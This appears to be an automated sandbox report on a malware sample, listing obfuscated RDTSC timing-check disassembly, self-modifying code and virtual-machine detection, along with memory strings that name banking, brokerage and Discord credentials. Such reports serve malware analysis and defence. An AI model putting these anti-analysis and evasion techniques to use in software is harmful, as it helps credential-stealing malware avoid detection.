Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA07FC second address: 4DA086C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F1374D398C4h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F1374D398C0h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F1374D398BEh 0x0000001d xor cx, 0428h 0x00000022 jmp 00007F1374D398BBh 0x00000027 popfd 0x00000028 mov esi, 6216451Fh 0x0000002d popad 0x0000002e xchg eax, ecx 0x0000002f jmp 00007F1374D398C2h 0x00000034 push eax 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA086C second address: 4DA0870 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0870 second address: 4DA0874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0874 second address: 4DA0893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov edx, 07AA161Eh 0x0000000b popad 0x0000000c xchg eax, ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F1374C2DE10h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0893 second address: 4DA0899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0899 second address: 4DA089D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA089D second address: 4DA08A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08A1 second address: 4DA08B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08B0 second address: 4DA08B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08B4 second address: 4DA08BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA08BA second address: 4DA0933 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007F1374D398C0h 0x00000011 lea eax, dword ptr [ebp-04h] 0x00000014 jmp 00007F1374D398C0h 0x00000019 nop 0x0000001a jmp 00007F1374D398C0h 0x0000001f push eax 0x00000020 pushad 0x00000021 mov ax, dx 0x00000024 mov ch, dl 0x00000026 popad 0x00000027 nop 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ecx, edi 0x0000002d pushfd 0x0000002e jmp 00007F1374D398BDh 0x00000033 add cx, B076h 0x00000038 jmp 00007F1374D398C1h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0933 second address: 4DA0938 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0938 second address: 4DA093E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0976 second address: 4DA097C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA097C second address: 4DA0980 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0980 second address: 4DA0999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-04h], 00000000h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov esi, 20B5A727h 0x00000014 mov si, 8EC3h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0999 second address: 4DA099F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA099F second address: 4DA09AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov dh, 20h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0027 second address: 4DA002B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA002B second address: 4DA0031 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0031 second address: 4DA00B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 7178h 0x00000007 mov esi, edx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e mov di, FCBCh 0x00000012 pushfd 0x00000013 jmp 00007F1374D398C5h 0x00000018 sbb ax, E216h 0x0000001d jmp 00007F1374D398C1h 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007F1374D398BEh 0x0000002b push FFFFFFFEh 0x0000002d jmp 00007F1374D398C0h 0x00000032 call 00007F1374D398B9h 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F1374D398C7h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA00B5 second address: 4DA015F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F1374C2DE0Ah 0x00000011 sub eax, 33DF1228h 0x00000017 jmp 00007F1374C2DE0Bh 0x0000001c popfd 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 jmp 00007F1374C2DE19h 0x00000027 mov eax, dword ptr [eax] 0x00000029 jmp 00007F1374C2DE11h 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007F1374C2DE0Ah 0x0000003b add cx, 26E8h 0x00000040 jmp 00007F1374C2DE0Bh 0x00000045 popfd 0x00000046 call 00007F1374C2DE18h 0x0000004b pop ecx 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA015F second address: 4DA017A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374D398C7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA017A second address: 4DA017E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA017E second address: 4DA018C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c mov bh, 2Ah 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA018C second address: 4DA01BC instructions: 0x00000000 rdtsc 0x00000002 mov cx, 4CF9h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov di, cx 0x0000000b popad 0x0000000c push 1680B2CBh 0x00000011 pushad 0x00000012 push edx 0x00000013 mov edi, ecx 0x00000015 pop ecx 0x00000016 movsx edx, ax 0x00000019 popad 0x0000001a xor dword ptr [esp], 632999BBh 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F1374C2DE0Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA01BC second address: 4DA01E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 4Dh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000000h] 0x0000000e jmp 00007F1374D398C5h 0x00000013 nop 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA01E6 second address: 4DA022D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1374C2DE0Bh 0x00000009 xor ax, C45Eh 0x0000000e jmp 00007F1374C2DE19h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F1374C2DE13h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA022D second address: 4DA0254 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 mov edx, 07EA8D46h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e jmp 00007F1374D398BDh 0x00000013 sub esp, 18h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b movsx ebx, ax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0254 second address: 4DA028C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1374C2DE11h 0x00000009 add ax, 8556h 0x0000000e jmp 00007F1374C2DE11h 0x00000013 popfd 0x00000014 mov bh, ah 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push esp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA028C second address: 4DA02A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA02A1 second address: 4DA0304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushfd 0x00000006 jmp 00007F1374C2DE13h 0x0000000b add si, 73EEh 0x00000010 jmp 00007F1374C2DE19h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], ebx 0x0000001c pushad 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F1374C2DE0Ah 0x00000024 and ecx, 5E716368h 0x0000002a jmp 00007F1374C2DE0Bh 0x0000002f popfd 0x00000030 movzx ecx, bx 0x00000033 popad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0304 second address: 4DA0350 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F1374D398C7h 0x00000008 add si, 2F5Eh 0x0000000d jmp 00007F1374D398C9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1374D398BDh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0350 second address: 4DA0356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0356 second address: 4DA035A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA035A second address: 4DA03A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F1374C2DE14h 0x0000000f jmp 00007F1374C2DE12h 0x00000014 pop esi 0x00000015 popad 0x00000016 xchg eax, esi 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F1374C2DE13h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA03A2 second address: 4DA03CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, C18Eh 0x00000011 movsx edx, si 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA03CB second address: 4DA0439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c mov ax, bx 0x0000000f pushfd 0x00000010 jmp 00007F1374C2DE19h 0x00000015 jmp 00007F1374C2DE0Bh 0x0000001a popfd 0x0000001b popad 0x0000001c jmp 00007F1374C2DE18h 0x00000021 popad 0x00000022 xchg eax, edi 0x00000023 pushad 0x00000024 movzx esi, di 0x00000027 mov ax, dx 0x0000002a popad 0x0000002b mov eax, dword ptr [75AF4538h] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0439 second address: 4DA043F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA043F second address: 4DA0444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0444 second address: 4DA0493 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1374D398C9h 0x00000009 sub eax, 7F1839E6h 0x0000000f jmp 00007F1374D398C1h 0x00000014 popfd 0x00000015 mov edi, ecx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xor dword ptr [ebp-08h], eax 0x0000001d jmp 00007F1374D398BAh 0x00000022 xor eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov dl, ah 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0493 second address: 4DA04A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374C2DE0Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA04A5 second address: 4DA053D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a movzx ecx, dx 0x0000000d pushfd 0x0000000e jmp 00007F1374D398BFh 0x00000013 sub esi, 25233F2Eh 0x00000019 jmp 00007F1374D398C9h 0x0000001e popfd 0x0000001f popad 0x00000020 mov dword ptr [esp], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F1374D398C3h 0x0000002c add ax, 953Eh 0x00000031 jmp 00007F1374D398C9h 0x00000036 popfd 0x00000037 pushfd 0x00000038 jmp 00007F1374D398C0h 0x0000003d sub al, 00000038h 0x00000040 jmp 00007F1374D398BBh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA053D second address: 4DA0543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0543 second address: 4DA0547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0547 second address: 4DA0558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-10h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0558 second address: 4DA055C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA055C second address: 4DA0562 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0562 second address: 4DA0574 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374D398BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0574 second address: 4DA05FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e jmp 00007F1374C2DE17h 0x00000013 mov dword ptr [ebp-18h], esp 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F1374C2DE14h 0x0000001d and al, 00000058h 0x00000020 jmp 00007F1374C2DE0Bh 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F1374C2DE18h 0x0000002c or ax, ABB8h 0x00000031 jmp 00007F1374C2DE0Bh 0x00000036 popfd 0x00000037 popad 0x00000038 mov eax, dword ptr fs:[00000018h] 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 mov al, dh 0x00000043 mov ax, D983h 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA05FC second address: 4DA0631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [eax+00000FDCh] 0x0000000e jmp 00007F1374D398BCh 0x00000013 test ecx, ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F1374D398C7h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0631 second address: 4DA06B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F1374C2DEB5h 0x0000000f pushad 0x00000010 call 00007F1374C2DE0Ch 0x00000015 pushfd 0x00000016 jmp 00007F1374C2DE12h 0x0000001b xor ecx, 6D07B538h 0x00000021 jmp 00007F1374C2DE0Bh 0x00000026 popfd 0x00000027 pop eax 0x00000028 mov di, F47Ch 0x0000002c popad 0x0000002d add eax, ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushfd 0x00000033 jmp 00007F1374C2DE0Ch 0x00000038 add ah, FFFFFF98h 0x0000003b jmp 00007F1374C2DE0Bh 0x00000040 popfd 0x00000041 mov bx, ax 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA06B1 second address: 4DA070C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1374D398BBh 0x00000009 or ecx, 61B5705Eh 0x0000000f jmp 00007F1374D398C9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F1374D398C0h 0x0000001b sub ch, 00000058h 0x0000001e jmp 00007F1374D398BBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 mov ecx, dword ptr [ebp+08h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA070C second address: 4DA0710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0710 second address: 4DA0716 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0716 second address: 4DA071C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA071C second address: 4DA0720 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0720 second address: 4DA0724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0724 second address: 4DA0734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0734 second address: 4DA073A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA073A second address: 4DA0740 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D901EB second address: 4D9025B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 mov cx, B0FFh 0x00000009 pop esi 0x0000000a popad 0x0000000b push esp 0x0000000c pushad 0x0000000d movzx esi, di 0x00000010 call 00007F1374C2DE13h 0x00000015 mov edx, esi 0x00000017 pop esi 0x00000018 popad 0x00000019 mov dword ptr [esp], ebp 0x0000001c pushad 0x0000001d push edi 0x0000001e mov cx, 3973h 0x00000022 pop esi 0x00000023 mov dx, 9F5Ch 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a jmp 00007F1374C2DE0Bh 0x0000002f sub esp, 2Ch 0x00000032 pushad 0x00000033 mov si, 1DDBh 0x00000037 mov dx, si 0x0000003a popad 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d mov si, 8BAFh 0x00000041 popad 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F1374C2DE17h 0x0000004a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3FBECE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3FB7EF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3FB72F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5A487C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5A4BA4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3F924E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 633C4A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60CC616 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60D4B2A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 1536

Thread sleep time: -210000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2482978533.00000000060AF000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2481309911.0000000005D09000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2475147086.0000000000585000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: file.exe, 00000000.00000002.2476355405.0000000000F98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000003.2238533584.000000000577B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: file.exe, 00000000.00000003.2238633902.000000000583E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2476355405.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2372491072.0000000000FD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
